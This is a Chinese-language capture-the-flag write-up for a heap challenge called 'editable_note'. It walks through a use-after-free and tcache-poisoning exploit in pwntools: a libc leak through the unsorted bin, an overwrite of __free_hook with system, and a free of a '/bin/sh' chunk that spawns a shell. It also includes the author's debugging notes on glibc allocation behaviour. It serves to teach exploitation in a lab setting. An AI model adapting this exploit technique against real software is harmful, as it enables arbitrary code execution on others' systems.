0%

editable_note

editable_note

image-20251203210748426

艾我也喜欢攻破靶机的感觉。

题目:

add:

image-20251203211025974

delete:

image-20251203211056868

edit:

image-20251203211153251

show:

image-20251203211227251

这个题是典型的uaf + tache posioning

解题:

泄露libc:

通过unsorted bin泄露main_arena进而泄露Libc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import * 
p = process('./vuln')
#p = remote("node5.anna.nssctf.cn",25397)
elf = ELF('./vuln')
libc = elf.libc


def add(leng,color):
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(leng))
p.sendlineafter('Size:',str(color))



def dele(id1):
p.sendlineafter('>','2')
p.sendlineafter('Index:',str(id1))



def show(id1):
p.sendlineafter('>','4')
p.sendlineafter('Index:',str(id1))

def edit(id1,name):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
p.sendafter('Content:',name)


for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
gdb.attach(p)
add(8,0x20) // 防止于top chunk合并
dele(7)

show(7)

main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success(f"main_arena: {hex(main_arena)}")
libcbase = main_arena - 0x1ecbe0
log.success(f"libcbase: {hex(libcbase)}")
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
log.success(f"libcbase: {hex(system)}")
log.success(f"libcbase: {hex(free_hook)}")

这里先申请8个同样大小的chunk 七个用来填满tache bin 另一个用来释放进入unsorted bin

可以看到chunk7 的fd和bk都指向main_arena

image-20251203212520431

🐖:

1
add(8,0x20) // 防止于top chunk合并

最开始做的时候没有加这个

导致这个chunk 释放后会和top chunk合并 而不是进入unsorted bin::

1
2
3
4
5
6
7
8
for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
gdb.attach(p)
#add(8,0x20)
dele(7)

image-20251203213410982

可以看到没有进入ub 且top chunk的地址发生了变化。

image-20251203213429481

🐖:

1
2
3
4
5
6
7
8
9
10
11

for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
#gdb.attach(p)
add(8,0x20)
dele(7)
#gdb.attach(p)
dele(8) ###try

这里好奇尝试了一下释放这个chunk8 但是他没有和top chunk合并。因为进入tache 的优先级高于top chunk 合并

image-20251203213842185

uaf + posioning:

exp:

1
2
3
4
5
6
7
8
9
10
11
add(9,0x20)  /// 
add(10,0x20) ///

dele(8)
#gdb.attach(p)
dele(9)

edit(10,b'/bin/sh\x00')
#gdb.attach(p)
edit(9,p64(free_hook))

有点像double free

image-20251203221329698

这里的0x690是chunk9 0x720是chunk8

tache是 LIFO(后进先出)

image-20251203222111156

chunk9相当于头指针 chunk8是尾指针

这里修改chunk9的next指针就可以劫持tahce

image-20251203221237988

exp:

1
2
3
4
5
add(11,0x20)
add(12,0x20) // __free_hook
edit(12,p64(system))
dele(10) //触发system(/bin/sh)
p.interactive()

这样就打通了。

🐖:

在调试的时候发现重新申请chunk的时候会优先用unsortedbin部分的chunk

1
2
3
4
5
6
7
8
add(9,0x20)    ///1
add(10,0x20)
add(11,0x20) ///2

add(12,0x20) ///3
gdb.attach(p)
add(13,0x20)

初始状态:

image-20251203222607081

1:

image-20251203222709430

2:

image-20251203222723903

可以看到glibc优先分配的是unsortedbin中的chunk

3:

image-20251203222735752

unsortedbin分配完后 会从top chunk中分割。